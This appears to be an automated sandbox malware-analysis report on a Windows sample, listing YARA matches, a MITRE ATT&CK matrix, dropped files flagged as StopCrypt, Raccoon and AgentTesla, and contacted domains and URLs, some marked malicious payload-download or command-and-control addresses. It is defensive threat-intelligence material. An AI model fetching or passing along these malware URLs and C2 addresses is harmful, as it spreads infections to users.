Source: Yara match	File source: 24.2.743F.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.3.743F.exe.590000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000018.00000002.432619186.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.432841929.0000000000570000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.392346980.0000000000590000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 743F.exe PID: 6640, type: MEMORYSTR

Source: C:\Users\user\AppData\Local\Temp\743F.exe

Code function: 24_2_004088B0 CreateThread,CreateThread,send,recv,socket,connect,closesocket,setsockopt,bind,listen,accept,select,getpeername,getsockname,

24_2_004088B0

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts1	Windows Management Instrumentation221	DLL Side-Loading1	DLL Side-Loading1	Disable or Modify Tools111	OS Credential Dumping1	System Time Discovery2	Remote Services	Archive Collected Data11	Exfiltration Over Other Network Medium	Web Service1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Native API531	Valid Accounts1	Valid Accounts1	Deobfuscate/Decode Files or Information11	Input Capture1	Account Discovery1	Remote Desktop Protocol	Data from Local System2	Exfiltration Over Bluetooth	Ingress Tool Transfer14	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	Exploitation for Client Execution1	Windows Service4	Access Token Manipulation1	Obfuscated Files or Information3	Security Account Manager	File and Directory Discovery2	SMB/Windows Admin Shares	Input Capture1	Automated Exfiltration	Encrypted Channel21	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	Command and Scripting Interpreter3	Logon Script (Mac)	Windows Service4	Software Packing33	NTDS	System Information Discovery338	Distributed Component Object Model	Input Capture	Scheduled Transfer	Non-Standard Port1	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Service Execution3	Network Logon Script	Process Injection513	Timestomp1	LSA Secrets	Query Registry1	SSH	Keylogging	Data Transfer Size Limits	Non-Application Layer Protocol4	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	DLL Side-Loading1	Cached Domain Credentials	Security Software Discovery781	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Application Layer Protocol25	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	File Deletion1	DCSync	Process Discovery12	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Masquerading31	Proc Filesystem	Virtualization/Sandbox Evasion441	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Valid Accounts1	/etc/passwd and /etc/shadow	Application Window Discovery1	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	Access Token Manipulation1	Network Sniffing	System Owner/User Discovery1	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact
Compromise Software Dependencies and Development Tools	Windows Command Shell	Cron	Cron	Virtualization/Sandbox Evasion441	Input Capture	Remote System Discovery1	Replication Through Removable Media	Remote Data Staging	Exfiltration Over Physical Medium	Mail Protocols			Service Stop
Compromise Software Supply Chain	Unix Shell	Launchd	Launchd	Process Injection513	Keylogging	Local Groups	Component Object Model and Distributed COM	Screen Capture	Exfiltration over USB	DNS			Inhibit System Recovery
Compromise Hardware Supply Chain	Visual Basic	Scheduled Task	Scheduled Task	Hidden Files and Directories1	GUI Input Capture	Domain Groups	Exploitation of Remote Services	Email Collection	Commonly Used Port	Proxy			Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
eIxMVDoQF3.exe	38%	Virustotal		Browse
eIxMVDoQF3.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\7D0A.exe	100%	Avira	HEUR/AGEN.1211353
C:\Users\user\AppData\Local\Temp\F805.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\B50.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\tvdcssmj.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\E5C8.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\3A08.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\743F.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\7D0A.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\rwjfsvd	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1547.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\27D7.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\6CF.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\F6C0.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1FD7.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1FD7.exe	34%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\1FD7.exe	63%	ReversingLabs	Win32.Ransomware.StopCrypt
C:\Users\user\AppData\Local\Temp\3A08.exe	86%	ReversingLabs	Win32.Trojan.Raccoon
C:\Users\user\AppData\Local\Temp\7D0A.exe	46%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\7D0A.exe	89%	ReversingLabs	ByteCode-MSIL.Trojan.AgentTesla
C:\Users\user\AppData\Local\Temp\E5C8.exe	34%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\E5C8.exe	63%	ReversingLabs	Win32.Ransomware.StopCrypt
C:\Users\user\AppData\Local\Temp\F6C0.exe	29%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\F6C0.exe	81%	ReversingLabs	Win32.Trojan.Raccrypt

Unpacked PE Files

Source	Detection	Scanner	Label	Download
15.0.rwjfsvd.400000.0.unpack	100%	Avira	HEUR/AGEN.1123244	Download File
23.2.B50.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
23.3.B50.exe.590000.0.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
0.2.eIxMVDoQF3.exe.6515a0.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
15.2.rwjfsvd.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
23.2.B50.exe.570e50.1.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
37.0.7D0A.exe.650000.7.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
25.2.7D0A.exe.d70000.0.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
25.0.7D0A.exe.d70000.0.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
15.0.rwjfsvd.400000.3.unpack	100%	Avira	HEUR/AGEN.1123244	Download File
37.0.7D0A.exe.650000.0.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
1.1.eIxMVDoQF3.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
37.0.7D0A.exe.650000.2.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
24.3.743F.exe.590000.0.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
16.0.F805.exe.510e50.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
24.2.743F.exe.570e50.1.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
1.2.eIxMVDoQF3.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
37.0.7D0A.exe.650000.11.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
16.0.F805.exe.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
15.0.rwjfsvd.400000.2.unpack	100%	Avira	HEUR/AGEN.1123244	Download File
37.0.7D0A.exe.650000.1.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
16.2.F805.exe.510e50.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
37.0.7D0A.exe.400000.8.unpack	100%	Avira	HEUR/AGEN.1145065	Download File
14.2.rwjfsvd.5715a0.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
37.0.7D0A.exe.650000.9.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
15.0.rwjfsvd.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
15.0.rwjfsvd.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
25.0.7D0A.exe.d70000.2.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
16.3.F805.exe.520000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
37.0.7D0A.exe.400000.10.unpack	100%	Avira	HEUR/AGEN.1145065	Download File
16.2.F805.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
37.0.7D0A.exe.400000.12.unpack	100%	Avira	HEUR/AGEN.1145065	Download File
37.0.7D0A.exe.650000.3.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
37.0.7D0A.exe.650000.5.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
1.0.eIxMVDoQF3.exe.400000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
1.0.eIxMVDoQF3.exe.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
15.0.rwjfsvd.400000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
16.0.F805.exe.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
25.0.7D0A.exe.d70000.1.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
25.0.7D0A.exe.d70000.3.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
37.0.7D0A.exe.400000.6.unpack	100%	Avira	HEUR/AGEN.1145065	Download File
16.0.F805.exe.510e50.7.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
37.2.7D0A.exe.650000.1.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
37.0.7D0A.exe.650000.13.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
24.2.743F.exe.400000.0.unpack	100%	Avira	BDS/Backdoor.Gen	Download File
37.0.7D0A.exe.400000.4.unpack	100%	Avira	HEUR/AGEN.1145065	Download File
15.1.rwjfsvd.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
37.2.7D0A.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1145065	Download File
1.0.eIxMVDoQF3.exe.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
15.0.rwjfsvd.400000.1.unpack	100%	Avira	HEUR/AGEN.1123244	Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://tempuri.org/Entity/Id12Response	0%	URL Reputation	safe
http://185.7.214.171:8080/6.php	100%	URL Reputation	malware
http://tempuri.org/	0%	URL Reputation	safe
http://tempuri.org/Entity/Id2Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id21Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id15Response	0%	URL Reputation	safe
https://api.ip.sb/ip	0%	URL Reputation	safe
http://crl.ver)	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id24Response	0%	URL Reputation	safe
http://data-host-coin-8.com/files/9030_1641816409_7037.exe	16%	Virustotal		Browse
http://data-host-coin-8.com/files/9030_1641816409_7037.exe	100%	Avira URL Cloud	malware
https://dynamic.t	0%	URL Reputation	safe
http://tempuri.org/Entity/Id5Response	0%	URL Reputation	safe
http://data-host-coin-8.com/files/9042_1641895079_9876.exe	13%	Virustotal		Browse
http://data-host-coin-8.com/files/9042_1641895079_9876.exe	100%	Avira URL Cloud	malware
http://tempuri.org/Entity/Id10Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id8Response	0%	URL Reputation	safe
http://data-host-coin-8.com/game.exe	0%	URL Reputation	safe
https://www.tiktok.com/legal/report	0%	URL Reputation	safe
http://tempuri.org/Entity/Id13Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id22Response	0%	URL Reputation	safe
https://www.tiktok.com/legal/report/feedback	0%	URL Reputation	safe
https://goo.su/abhF	0%	Avira URL Cloud	safe
https://get.adob	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
unicupload.top	54.38.220.85	true	false	high
host-data-coin-11.com	94.142.143.91	true	false	high
cdn.discordapp.com	162.159.133.233	true	false	high
goo.su	172.67.139.105	true	false	high
transfer.sh	144.76.136.153	true	false	high
a0621298.xsph.ru	141.8.194.74	true	false	high
data-host-coin-8.com	94.142.143.91	true	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.7.214.171:8080/6.php	true	URL Reputation: malware	unknown
http://a0621298.xsph.ru/9.exe	false		high
http://data-host-coin-8.com/files/9030_1641816409_7037.exe	true	16%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://data-host-coin-8.com/files/9042_1641895079_9876.exe	true	13%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://transfer.sh/get/uq3XSe/5.exe	false		high
http://data-host-coin-8.com/game.exe	false	URL Reputation: safe	unknown
https://goo.su/abhF	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text	7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/sc/sct	7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	false		high
https://duckduckgo.com/chrome_newtab	7D0A.exe, 00000025.00000002.523953321.0000000002E16000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000003.517387907.0000000003DFA000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.525017087.0000000003BE3000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524467817.0000000002F98000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524249981.0000000002ED7000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.523816698.0000000002D70000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.523709480.0000000002D5A000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000003.517036731.0000000003CA7000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524574915.0000000002FAE000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.523539802.0000000002CAE000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.523453991.0000000002C98000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524875989.0000000003B72000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524054463.0000000002E2D000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524328614.0000000002EED000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000003.517269380.0000000003D89000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000003.517139724.0000000003D18000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk	7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	false		high
https://duckduckgo.com/ac/?q=	7D0A.exe, 00000025.00000002.524328614.0000000002EED000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000003.517269380.0000000003D89000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000003.517139724.0000000003D18000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id12Response	7D0A.exe, 00000025.00000002.523154527.0000000002AF1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://dev.ditu.live.com/REST/v1/Traffic/Incidents/	svchost.exe, 00000006.00000002.309257124.000001F894E5C000.00000004.00000001.sdmp, svchost.exe, 00000006.00000003.308219719.000001F894E5A000.00000004.00000001.sdmp	false		high
http://tempuri.org/	7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.523154527.0000000002AF1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id2Response	7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.523154527.0000000002AF1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1	7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id21Response	7D0A.exe, 00000025.00000002.523154527.0000000002AF1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap	7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID	7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret	7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	false		high
https://support.google.com/chrome/?p=plugin_real	7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.523539802.0000000002CAE000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524054463.0000000002E2D000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524328614.0000000002EED000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue	7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted	7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence	7D0A.exe, 00000025.00000002.523154527.0000000002AF1000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/fault	7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat	7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id15Response	7D0A.exe, 00000025.00000002.523154527.0000000002AF1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew	7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register	7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey	7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	false		high
https://api.ip.sb/ip	7D0A.exe, 00000019.00000002.437060463.0000000004361000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000000.429672404.0000000000402000.00000040.00000001.sdmp, 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel	7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	7D0A.exe, 00000025.00000002.524328614.0000000002EED000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000003.517269380.0000000003D89000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000003.517139724.0000000003D18000.00000004.00000001.sdmp	false		high
http://crl.ver)	svchost.exe, 00000012.00000002.406719122.000001994C0EB000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1	7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id24Response	7D0A.exe, 00000025.00000002.523154527.0000000002AF1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://dev.virtualearth.net/REST/v1/Locations	svchost.exe, 00000006.00000003.308166834.000001F894E61000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested	7D0A.exe, 00000025.00000002.523154527.0000000002AF1000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego	7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing	7D0A.exe, 00000025.00000002.523154527.0000000002AF1000.00000004.00000001.sdmp	false		high
https://dynamic.t	svchost.exe, 00000006.00000003.308329739.000001F894E56000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://support.google.com/chrome/?p=plugin_shockwave	7D0A.exe, 00000025.00000002.524328614.0000000002EED000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Routes/Transit	svchost.exe, 00000006.00000003.308166834.000001F894E61000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue	7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse	7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id5Response	7D0A.exe, 00000025.00000002.523154527.0000000002AF1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing/faultD	7D0A.exe, 00000025.00000002.523154527.0000000002AF1000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns	7D0A.exe, 00000025.00000002.523154527.0000000002AF1000.00000004.00000001.sdmp	false		high
https://dev.ditu.live.com/REST/v1/JsonFilter/VenueMaps/data/	svchost.exe, 00000006.00000002.309257124.000001F894E5C000.00000004.00000001.sdmp, svchost.exe, 00000006.00000003.308219719.000001F894E5A000.00000004.00000001.sdmp	false		high
https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=	svchost.exe, 00000006.00000003.308219719.000001F894E5A000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id10Response	7D0A.exe, 00000025.00000002.523154527.0000000002AF1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/Renew	7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id8Response	7D0A.exe, 00000025.00000002.523154527.0000000002AF1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://support.google.com/chrome/?p=plugin_wmp	7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.523539802.0000000002CAE000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524054463.0000000002E2D000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524328614.0000000002EED000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Routes/Driving	svchost.exe, 00000006.00000003.308166834.000001F894E61000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID	7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT	7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2006/02/addressingidentity	7D0A.exe, 00000025.00000002.523221943.0000000002B80000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/PublicKey	7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Rollback	7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	false		high
https://support.google.com/chrome/?p=plugin_java	7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.523539802.0000000002CAE000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524054463.0000000002E2D000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524328614.0000000002EED000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/SCT	7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/06/addressingex	7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=	svchost.exe, 00000006.00000003.285290195.000001F894E30000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/Nonce	7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequenceResponse	7D0A.exe, 00000025.00000002.523154527.0000000002AF1000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ1510	7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	false		high
https://support.google.com/chrome/?p=plugin_divx	7D0A.exe, 00000025.00000002.524328614.0000000002EED000.00000004.00000001.sdmp	false		high
https://www.tiktok.com/legal/report	svchost.exe, 00000012.00000003.379191597.000001994C77E000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id13Response	7D0A.exe, 00000025.00000002.523154527.0000000002AF1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd	7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509SubjectKeyIdentif	7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Committed	7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/CK/PSHA1	7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	false		high
https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/	svchost.exe, 00000006.00000002.309190839.000001F894E3C000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#ThumbprintSHA1	7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/right/possessproperty	7D0A.exe, 00000025.00000002.523154527.0000000002AF1000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/sc/sct	7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/SequenceAcknowledgement	7D0A.exe, 00000025.00000002.523154527.0000000002AF1000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT	7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	false		high
